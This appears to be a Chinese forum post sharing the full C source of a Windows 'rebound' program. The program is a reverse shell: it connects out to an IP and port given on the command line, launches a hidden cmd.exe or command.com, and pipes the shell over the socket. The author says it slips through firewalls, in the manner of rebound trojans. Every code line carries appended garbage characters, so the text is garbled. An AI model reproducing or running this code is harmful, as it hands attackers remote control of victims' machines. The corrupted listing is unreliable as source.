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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  s>rR\`  
#%"q0"  
/* ============================== A=CeeC]}  
Rebound port in Windows NT &[.5@sv  
By wind,2006/7 ."K>h3(&V  
===============================*/ K,f:X g!:  
#include 3KLUH=)P  
#include z*Sm5i&)_q  
0QQss  
#pragma comment(lib,"wsock32.lib") Zw]`z*,yRA  
93-Y(Xx)bY  
void OutputShell(); ~m%[d. }e  
SOCKET sClient; >&L|oq7$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vla,avON  
IS C.~q2  
void main(int argc,char **argv) C2LPLquD+  
{ ~PQ.l\C  
WSADATA stWsaData; NGra/s,9 |  
int nRet; H/8^Fvd  
SOCKADDR_IN stSaiClient,stSaiServer; ]5W$EvZ9)  
?M2(8 0  
if(argc != 3) ;#B(L=/  
{ I8*VM3  
printf("Useage:\n\rRebound DestIP DestPort\n"); myx/|-V"F  
return; !Jg;%%E3:i  
} _iwG'a[`  
4" @<bKx  
WSAStartup(MAKEWORD(2,2),&stWsaData); [^>XR BSm  
a"~o'W7  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _8K+iqMZG  
y48]|%73  
stSaiClient.sin_family = AF_INET; a|ftl&uk  
stSaiClient.sin_port = htons(0); eK8H5YE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e~h>b.~  
,,3lH-C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J )1   
{ :,BAw ,  
printf("Bind Socket Failed!\n"); 5Iu5N0cn  
return; E}^V@ :j>  
} k(Yz2  
ycGY5t@K@  
stSaiServer.sin_family = AF_INET; |9@,ri\'Rg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Tw~R-SiS`s  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :\T Mm>%q  
,|%KlHo^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :\](m64z;  
{ LS@TTiN   
printf("Connect Error!"); 3F9V,zWtTi  
return; 6)HmE[[F  
} P \7DA4]  
OutputShell(); Z0|5VLk,<{  
} pP\Cwo #,  
!3Dq)ebBz  
void OutputShell() 5zuwqOD*  
{ sYTz6-  
char szBuff[1024]; r}U6LE?>  
SECURITY_ATTRIBUTES stSecurityAttributes; C*`WMP*  
OSVERSIONINFO stOsversionInfo; u ExLj6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T+8Yd(:hX  
STARTUPINFO stStartupInfo; ?y>N&\pt2  
char *szShell; g/?Vl2W  
PROCESS_INFORMATION stProcessInformation; G  hM  
unsigned long lBytesRead; #h!+b  
}"Y<<e<z:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I#l}5e5  
verI~M$v{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &lc@]y8  
stSecurityAttributes.lpSecurityDescriptor = 0; HC0juT OiO  
stSecurityAttributes.bInheritHandle = TRUE; 0J R/V68$  
I2}W/}  
0AZ9I!&i  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J_s`G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w,~*ead  
7j& t{q5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _K5<)( )  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bC&A@.g{  
stStartupInfo.wShowWindow = SW_HIDE; W 4{ T<  
stStartupInfo.hStdInput = hReadPipe; ET*A0rt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .[={Yx0!I  
FT).$h~+4  
GetVersionEx(&stOsversionInfo); 1N5 E  
wl=tN{R  
switch(stOsversionInfo.dwPlatformId) NP>v @jO  
{ VO#rJ1J  
case 1: AXw qN:P}  
szShell = "command.com"; 7:`XE&Z  
break; s5,@=(,  
default: %$BRQ-O  
szShell = "cmd.exe"; BRFsw`c  
break; @kXuC<  
} "2e3 <:$  
IRW0.'Dn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,@Csa#  
f/\!=sa:  
send(sClient,szMsg,77,0); *h^->+0n  
while(1) g|)>65v  
{ s/1r{;q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j/V_h'}  
if(lBytesRead) Q`CuZkP(  
{ :?f<tNU$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @6UY4vq9  
send(sClient,szBuff,lBytesRead,0); >N3X/8KL%  
} R P{pEd  
else /Pjd"  
{ ]t[%.^5#  
lBytesRead=recv(sClient,szBuff,1024,0); v}>g* @  
if(lBytesRead<=0) break; eI-fH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Q ZG<  
} k?cX f j&  
} )\U:e:Zae  
=i~ = |K!  
return; +m_ .?V6  
}
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